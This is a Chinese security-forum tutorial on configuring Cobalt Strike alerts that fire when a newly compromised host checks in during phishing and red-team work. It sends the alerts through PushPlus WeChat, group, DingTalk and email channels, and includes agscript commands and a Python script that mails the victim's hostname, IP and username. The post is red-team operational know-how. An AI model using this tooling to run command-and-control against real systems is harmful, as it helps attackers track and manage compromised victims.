1. 背景介绍

在攻防的时候,尤其在钓鱼时,常常需要对Cobalt Strike设置上线提醒,本文将从单用户提醒到多用户提醒,微信提醒到邮件提醒等进行描述。本文代码已经放到我的GitHub上:
https://github.com/crow821/crowsec 如果师傅有需要的话,可以自行修改下即可使用。(文中部分代码参考https://github.com/lintstar/CS-PushPlus

以前大部分都是使用server酱进行上线提醒,但是现在server酱免费版每日只能提醒5次,其余的都需要收费,所以这里以pushplus示例,目前Pushplus的日发送频率最大额为200次,基本满足日常攻防使用。

图片参考:https://mp.weixin.qq.com/s/iCo8p5C-MTVh-LEFybHiTg

2. 微信单人提醒

http://www.pushplus.plus/push1.html上扫码登录,会生成一个token:

https://github.com/lintstar/CS-PushPlus里下载两个文件:PushPlus.cnaPushPlus.py
PushPlus.py中将你刚刚的token进行替换:

content 部分的信息可以自定义修改,修改完成之后,可以在本地使用python3进行测试:

运行之后,微信收到通知:

测试成功之后,将文件传到服务器上,并且对 PushPlus.cna文件进行配置:

其中红色部分为你当前文件的路径:

在配置完Cobalt Strike之后,可以用命令启动该脚本将其挂载到后台,注意你运行的路径

nohup sudo ./agscript Cobalt_Strikeip 端口 用户 密码 CS-PushPlus-main/PushPlus.cna > PushPlus.log 2>&1 &

Agscript 用法
这里 agscript 的用法为:
 ./agscript [host] [port] [user] [pass] </path/to/file.cna> 
● [host] # 服务器的 ip 地址。
● [port] # cs 的端口号,启动 cs 时有显示。
● [user] # 后台挂载脚本时连接到 teamserver 的用户名。
● [pass] # 启动服务端 cs 时设置的密码。
● [path] # cna 文件的路径。

运行成功之后,可以使用ps -aux | grep agscript 查看当前进程:

当有新主机上线时,在微信中会收到提醒:

3. 设置微信多人提醒

Cobalt Strike的优点就是支持多人同时进行操作,因此在攻防中,可以对一台Cobalt Strike配置多人提醒,当有机器上线时,可以同时通知所有人,Pushplus目前也支持这种。
http://www.pushplus.plus/push2.html记录自己的token
新增一个群组:

在这里需要记住你的群组编号,按照Pushplus的官方文档,当前群组与单人提醒不同的地方在于传参的时候增加了一个"topic"参数。这里需要配置的信息如下:"topic":"test1221",
当前文件名称: Pushplus_many.py

配置完成之后,把上面新建的群组二维码发给其他人扫一扫加进来:

扫描完成之后,pushplus公众号会回复自定义设置的关键信息,代表加入成功。

此时在创建的群组里也可以查看到当前加入的订阅人,在这里需要注意:群组即使是你创建的,你也需要扫码加入才可以。

配置完成之后,在本地可以测试下:

此时群组内用户都收到了消息:

本地测试成功之后,将文件放到云服务器上使用同样的方式进行部署即可!

4. 钉钉群上线提醒

钉钉群和上述的方法基本相同,首先需要在钉钉中拉群一个群聊,并添加一个机器人:

点击自定义:

选择添加即可获得一个Webhook地址:https://oapi.dingtalk.com/robot/send?access_token=1234567fdasfdasfsf8

Pushplus公众号中,找到个人中心,并在渠道配置中进行配置:

选择Webhook,填写相关信息:

确认之后,在脚本里面进行修改:"channel":"webhook", "webhook":"1221"

在这里确认你的Webhook地址信息,修改完成之后,在本地可以运行:

然后在钉钉群组就收到消息了:

本次测试成功之后,直接将脚本部署到云服务器上即可,方法参考第二节。

5. 邮件提醒

Pushplus中,还提供了邮件提醒,配置的步骤上来讲,比较简单,在Pushplus中选择个人资料,绑定自己的邮箱:

确认之后,Pushplus会发送一封邮件进行验证:

点击之后,验证成功。

然后在原来的代码上进行修改:只需修改"channel":"mail"即可!

然后在本地使用python3进行验证:

此时邮箱接收到了消息:

后续配置到服务器即可,详情可参考第2节。

6. 注意事项

在使用Pushplus推送的流程中,还有一个比较重要的问题:如果短时间内有多个相同主机上线,Pushplus会默认不发送重复数据内容,而且对发送频率也有要求:

一般来说,短时间大量主机上线的概率不是很高,所以在上面的两个问题中,要优先解决短时间不默认发送重复数据内容,因此在以前的代码中,可以加入随机数或者时间戳,在这里以加入时间戳为例:

收到的提醒:

7. 隐蔽的邮件提醒

在上述的2-5节中,都需要使用第三方服务进行推送,这里面有一些缺点:比如扫码关注、绑定邮箱、发送次数限制等等,可能对不想泄露隐私的师傅,不太愿意这样搞,因此我们也可以自己配置邮件服务,自己给自己设置上线提醒:

7.1 python发送邮件

下面是一个简单的python发送邮件的demo,在这里需要自行配置发件人的邮箱,发件人的邮箱授权码,接收人邮箱等。(这部分内容可以百度到)

# -*- encoding: utf-8 -*-
# Time : 2021/12/21 21:01:21
# Author: crow


#1. 发送文本文件

import smtplib

from email.mime.text import MIMEText
from email.header import Header

# print('donw')
sender = '123876@qq.com' #发件人邮箱
receiver = '1237@qq.com' #收件人邮箱
mail_pass = 'cwxdebc' #qq邮箱授权码

#text为邮件正文内容,plain为文本格式,'utf-8'为编码格式
text = '您有新主机上线。。。'
message = MIMEText(text, 'plain', 'utf-8')

#添加Header信息,From,To,Subject分别为发送者信息,接收者消息和邮件主题
message['From'] = Header(sender, 'utf-8')
message['To'] = Header(receiver, 'utf-8')

subject = 'Python STMP 邮件发送测试'
message['Subject'] = Header(subject, 'utf-8')


try:
    #smtp.xxx.com为邮箱服务类型,25为STMP的端口
    smtpObj = smtplib.SMTP('smtp.qq.com', 25)#smtp.xxx.com为邮箱服务类型,25为STMP
    #smtpObj = smtplib.SMTP_SSL('smtp.xxx.com', 'xxx邮件服务的端口号')     

    smtpObj.login(sender, mail_pass)#登录
    smtpObj.sendmail(sender, receiver, message.as_string())#发送
    print ("邮件发送成功")
except smtplib.SMTPException as e:
    print(e)
    print ("Error: 邮件发送失败")

使用python3进行发送:

此时接收成功:

所以我们可以稍微将代码修改下,变成一个完整的上线提醒:

# -*- encoding: utf-8 -*-
# Time : 2021/12/21 21:07:19
# Author: crow

import argparse
import requests
import random
import string
import json
import time
import smtplib
from email.mime.text import MIMEText
from email.header import Header


parser = argparse.ArgumentParser(description='Beacon Info')
parser.add_argument('--computername')
parser.add_argument('--internalip')
parser.add_argument('--username')
args = parser.parse_args()

internalip = args.internalip
computername = args.computername
username = args.username
ran_str = ''.join(random.sample(string.ascii_letters + string.digits, 8))
t_time = time.ctime()

content = """

您有霉国-2新主机上线啦

主机名: {}
IP: {}
用户名: {}
Token: {}
上线时间:{}
请注意查收哦~
""".format(internalip, computername, username, ran_str, t_time)



#1. 发送文本文件

sender = '123876@qq.com' #发件人邮箱
receiver = '1237@qq.com' #收件人邮箱
mail_pass = 'cwxdebc' #qq邮箱授权码

#text为邮件正文内容,plain为文本格式,'utf-8'为编码格式
# text = '您有新主机上线。。。'
# content
message = MIMEText(content, 'plain', 'utf-8')

#添加Header信息,From,To,Subject分别为发送者信息,接收者消息和邮件主题
message['From'] = Header(sender, 'utf-8')
message['To'] = Header(receiver, 'utf-8')

subject = 'Cobalt Strike上线提醒'
message['Subject'] = Header(subject, 'utf-8')


try:
    #smtp.xxx.com为邮箱服务类型,25为STMP的端口
    smtpObj = smtplib.SMTP('smtp.qq.com', 25)#smtp.xxx.com为邮箱服务类型,25为STMP
    #smtpObj = smtplib.SMTP_SSL('smtp.xxx.com', 'xxx邮件服务的端口号')     

    smtpObj.login(sender, mail_pass)#登录
    smtpObj.sendmail(sender, receiver, message.as_string())#发送
    print ("邮件发送成功")
except smtplib.SMTPException as e:
    print(e)
    print ("Error: 邮件发送失败")

此时接到的信息如下:

虽然丑了点,但:又不是不能用

7.2 邮件提醒

然后修改一个cna文件,测试下:

sudo ./agscript 192.168.22.104 12345 crow 111223 CS-PushPlus-main/ Send_email.cna
加载成功之后,这里会显示已加入:

生成exe文件,运行下,测试上线,上线之后,在这里看到记录:

同时也收到了邮件:

8. 总结

在以上的方法中,主要讨论了利用第三方推送Pushplus进行微信单人、群组;钉钉群组;第三方邮件提醒方法,当然在Pushplus中还有其他的提醒方式,这种方式推送方式较多,但是缺点就是容易暴露个人信息。所以在本文提出了使用更加隐蔽的邮件提醒方法,优点就是不会暴露私人信息,缺点就是只能使用邮件提醒,而且需要使用两个邮箱账号。

以上方法仅供参考,相关代码后续我会完善之后,放到我的GitHub上:https://github.com/crow821/crowsec

9. 参考资料

https://github.com/lintstar/CS-PushPlus

点击收藏 | 4 关注 | 3
登录 后跟帖